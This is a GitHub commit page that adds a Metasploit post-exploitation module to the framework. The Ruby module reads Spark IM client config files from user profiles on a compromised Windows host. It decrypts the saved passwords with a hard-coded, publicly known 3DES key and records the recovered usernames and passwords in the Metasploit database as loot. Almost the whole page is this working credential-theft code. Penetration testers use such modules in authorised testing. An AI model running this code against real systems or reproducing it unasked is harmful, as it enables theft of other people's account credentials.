Skip to content

Commit b483e76

Browse files
committed
Merge branch 'spark_im.rb' of git://github.com/zeknox/metasploit-framework into zeknox-spark_im.rb
2 parents d2dc7eb + 7147e7a commit b483e76

File tree

1 file changed

+113
-0
lines changed

1 file changed

+113
-0
lines changed
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/windows/user_profiles'
12+
require 'openssl'
13+
14+
class Metasploit3 < Msf::Post
15+
16+
include Msf::Post::Common
17+
include Msf::Post::Windows::UserProfiles
18+
19+
def initialize(info={})
20+
super(update_info(info,
21+
'Name' => 'Enumerate Spark IM Passwords',
22+
'Description' => %q{ This module will enumerate passwords stored by the Spark IM client.
23+
The encryption key is publicly known. This module will not only extract encrypted password
24+
but will also decrypt password using public key.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>',
30+
'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
31+
],
32+
'SessionTypes' => [ 'meterpreter' ],
33+
'References' =>
34+
[
35+
[ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
36+
]
37+
))
38+
end
39+
40+
# decrypt spark password
41+
def decrypt(hash)
42+
# code to decrypt hash with KEY
43+
print_status("Starting to decrypt password hash")
44+
45+
encrypted = hash.unpack("m")[0]
46+
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
47+
48+
cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
49+
cipher.decrypt
50+
cipher.key = key
51+
52+
password = cipher.update encrypted
53+
password << cipher.final
54+
55+
password = password.encode('UTF-8')
56+
57+
credentials = password.split("\u0001")
58+
print_good("Decrypted Username #{credentials[0]} Password: #{credentials[1]}")
59+
60+
store_creds(credentials)
61+
end
62+
63+
def store_creds(credentials)
64+
if db
65+
report_auth_info(
66+
:host => client.sock.peerhost,
67+
:port => 445,
68+
:ptype => 'password',
69+
:sname => 'smb',
70+
:user => credentials[0],
71+
:pass => credentials[1],
72+
:duplicate_ok => true,
73+
:active => true
74+
)
75+
print_status("Loot stored in the db")
76+
end
77+
end
78+
79+
# main control method
80+
def run
81+
grab_user_profiles().each do |user|
82+
unless user['AppData'].nil?
83+
accounts = user['AppData'] + "\\Spark\\spark.properties"
84+
85+
# open the file for reading
86+
config = client.fs.file.new(accounts, 'r') rescue nil
87+
next if config.nil?
88+
print_status("Config found for user #{user['UserName']}")
89+
90+
# read the contents of file
91+
contents = config.read
92+
93+
# look for lines containing string 'password'
94+
password = contents.split("\n").grep(/password/)
95+
if password.nil?
96+
# file doesn't contain a password
97+
print_status("#{file} does not contain any saved passwords")
98+
# close file and return
99+
config.close
100+
return
101+
end
102+
103+
# store the hash close the file
104+
hash = password[1].split("password").join.chomp
105+
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
106+
config.close
107+
108+
# call to decrypt the hash
109+
decrypt(hash)
110+
end
111+
end
112+
end
113+
end

0 commit comments

Comments
 (0)